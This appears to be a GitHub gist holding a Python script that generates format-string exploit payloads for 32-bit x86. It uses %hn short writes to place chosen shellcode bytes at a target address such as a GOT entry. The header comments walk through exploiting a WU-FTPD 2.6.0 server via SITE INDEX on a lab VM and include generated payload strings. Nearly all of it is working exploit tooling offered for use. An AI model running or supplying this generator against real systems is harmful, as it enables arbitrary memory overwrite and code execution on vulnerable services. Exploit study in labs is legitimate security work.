Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Format String vulnerability input generator to be used during exploit development stage at constructing stable x86 (32bit) input vectors.
#!/usr/bin/python
#
# Script intended to aid exploit-development process, while attacking
# format string vulnerabilities. This script attempts to generate a
# stable format string to supply to vulnerable program, that would overwrite
# specified address with specified shellcode. Generating such format string
# by hand is a tedious task therefore this script shall make it easier.
# Technical info:
# - x86/32bit only, albeit it's easy to extend it to support 64bit (todo..)
# - writing using shorts (%hn), that is two-bytes at a row
#
# Scripted by Mariusz B., 2016
#
#
# For instance, to attack WU-FTPD 2.6.0 on Linux protostart (2.6.32-5-686) one
# can invoke this script as follows:
#
# ./gen_format_string.py 0x0806c278 23 $'\x7c\xc2\x06\x08\x6a\x12\x59[...]\x77\x64\x38' -n 6
# [?] x86/32bit Format string generator
# [>] Address to overwrite: 0806c278
# [>] Argument assured to point at user-supplied buffer: 23
# [>] Shellcode size to write: 98
# [>] Starting offset: 6
#
# [?] Added 49 address references.
# [?] Prepared 49 addresses to be used while arbitrary write (98 bytes)
#
# [?] Added 49 shorts overwrites
# Resulted format string to use:
#
# "\x78\xc2\x06\x08\x7a\xc2[...]\x06\x08%49586x%23$hn%17802x%24$hn%2660x%25$hn\
# %50927x[...]%33396x%70$hn%49258x%71$hn"
#
# Then use obtained format string in vulnerable vector:
#
# $ telnet 192.168.56.100 21
# Trying 192.168.56.100...
# Connected to 192.168.56.100.
# Escape character is '^]'.
# 220 protostar FTP server (Version wu-2.6.0(1) Thu Nov 17 14:23:41 EST 2016) ready.
# USER user
# 331 Password required for user.
# PASS user
# 230 User user logged in.
# SITE INDEX \x78\xc2\x06\x08\x7a\xc2[...]\x06\x08%49586x[...]%70$hn%49258x%71$hn
#
# Yet another usage. Scenario - we want to overwrite two DWORDs at specified addresses with some specific values:
#
# ./gen_format_string.py 0xbffff50c,0xbffff514 14 $'\x90\x31\xe6\xb7' $'\x24\x3a\xf8\xb7' -n 1
#
# .:: x86/32bit Format string generator ::.
# coded by mgeeky, 2016, v0.3a
#
# [>] Addresses to overwrite: ['0xbffff50c', '0xbffff514']
# (...)
# Resulted format string to use (116 bytes long / 0x74) padded in front with 1 dots to mimic offset:
#
# $'.\x0c\xf5\xff\xbf\x0e\xf5\xff\xbf\x14\xf5\xff\xbf\x16\xf5\xff\xbf%12671x%14$hn%34390x%15$hn%33342x%16$hn%32212x%17$hn'
#
import sys
VERSION='0.3a'
def usage():
sys.stderr.write('Usage: %s <address1,address2,...,addressN> <argnum> <shellcode1> <shellcode2> ... [-n offset]\n' % sys.argv[0])
sys.stderr.write('\nParameters:\n')
sys.stderr.write('\taddr - Address to overwrite using this Format String (e.g. GOT addr of symbol). May be repeated with comma (,) for multiple overwrites\n')
sys.stderr.write('\targnum - Number of user-supplied argument on stack as viewed by *printf function frame\n')
sys.stderr.write('\tshellcode - bytes to write at supplied `addr`. There has to be one shellcode parameter for each address\n')
sys.stderr.write('\t-n offset - (optional) Number of bytes preceding user-controlled buffer, that is bytes to fill up before sequence\n')
def here_comes_complex_tragic_options_parsing_function():
if len(sys.argv) < 4:
usage()
return False
addr = []
added_bytes = 0
argnum = 0
shellcodes = []
if ',' in sys.argv[1]:
addr = [int(x, 16) for x in sys.argv[1].split(',')]
if len(sys.argv) < (len(addr)+3):
sys.stderr.write('[!] Not enough shellcodes provided for %d address to overwrite.\n\n' % (len(addr)))
usage()
return False
pos = 0
for i in range(len(addr)):
pos = 3+i
if sys.argv[pos] == '-n':
sys.stderr.write('[!] Not enough shellcodes provided for %d address to overwrite.\n\n' % (len(addr)))
usage()
return False
shellcodes.append(sys.argv[pos])
pos += 1
if pos+1 <= len(sys.argv):
if sys.argv[pos] == '-n' and len(sys.argv) < pos+2:
sys.stderr.write('[!] Missing parameter for specified "-n" switch.\n\n')
usage()
return False
elif sys.argv[pos] == '-n' and len(sys.argv) >= pos+2:
added_bytes = int(sys.argv[pos+1])
else:
addr = [int(sys.argv[1], 16),]
shellcodes = [sys.argv[3],]
if len(sys.argv) != 6 :
added_bytes = 0
elif (len(sys.argv) == 6 and sys.argv[4] != '-n'):
sys.stderr.write('[!] Fatal error: Passed switch not recognized: "%s". Please specify optional offset followed by "-n".\n\n' % sys.argv[4])
usage()
return False
else:
added_bytes = int(sys.argv[4])
argnum = int(sys.argv[2])
return (addr, argnum, shellcodes, added_bytes)
def main():
sys.stderr.write('\n.:: x86/32bit Format string generator ::.')
sys.stderr.write('\n coded by mgeeky, 2016, v%s\n\n' % VERSION)
opts = here_comes_complex_tragic_options_parsing_function()
if not opts:
return False
(addr, argnum, shellcodes, added_bytes) = opts
bonce = False
for i in range(len(shellcodes)):
if len(shellcodes[i]) % 2 != 0 and not bonce:
bonce = True
sys.stderr.write('[!] Shellcode%d\'s length is not divisble by two, complementing with 0x90\n' % i)
shellcodes[i] += '\x90'
buff = ''
start_pos = added_bytes
ptr = addr
if len(addr) > 1:
sys.stderr.write('[>] Addresses to overwrite: %s\n' % str(["0x%08x" % x for x in addr]))
else:
sys.stderr.write('[>] Address to overwrite: %08x\n' % addr[0])
sys.stderr.write('[>] Argument assured to point at user-supplied buffer: %d\n' % argnum)
sys.stderr.write('[>] Total bytes to write: %d\n' % sum([len(x) for x in shellcodes]))
sys.stderr.write('[>] Starting offset: %d\n' % added_bytes)
n = 0
iters_total = 0
for j in range(len(addr)):
ptr = addr[j]
iters = len(shellcodes[j]) / 2
iters_total += iters
for i in range(iters):
addr_to_buf = [0, 0, 0, 0]
addr_to_buf[0] = ptr & 0xff
addr_to_buf[1] = (ptr & 0xff00) >> 8
addr_to_buf[2] = (ptr & 0xff0000) >> 16
addr_to_buf[3] = ptr >> 24
buff += '\\x%02x\\x%02x\\x%02x\\x%02x' % (
addr_to_buf[0],
addr_to_buf[1],
addr_to_buf[2],
addr_to_buf[3] )
n += 1
added_bytes += 4
ptr += 2
sys.stderr.write('\n[?] Added %d address references to %d addresses to overwrite.\n' % (n, len(addr)))
sys.stderr.write('[?] Prepared %d per-word addresses to be used while arbitrary write (%d bytes)\n' % \
(iters_total, iters_total * 2))
n = 0
for shellcode in shellcodes:
for i in range(0, len(shellcode), 2):
num_to_print = 0
val = shellcode[i:i+2]
valnum = ord(val[1]) * 256 + ord(val[0])
num_so_far_mod = added_bytes & 0xffff
if num_so_far_mod < valnum:
num_to_print = valnum - num_so_far_mod
elif num_so_far_mod > valnum:
num_to_print = 0x10000 - (num_so_far_mod - valnum)
added_bytes += num_to_print
if num_to_print > 0:
buff += '%%%dx' % num_to_print
buff += '%%%d$hn' % argnum
argnum += 1
n += 1
sys.stderr.write('\n[?] Added %d shorts overwrites\n' % n)
sys.stderr.write('Resulted format string to use (%d bytes long / 0x%x) %s:\n\n' % \
(len(buff), len(buff), '' if start_pos == 0 else 'padded in front with %d dots to mimic offset' % start_pos))
print "$'%s%s'" % ('.' * start_pos, buff)
return True
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.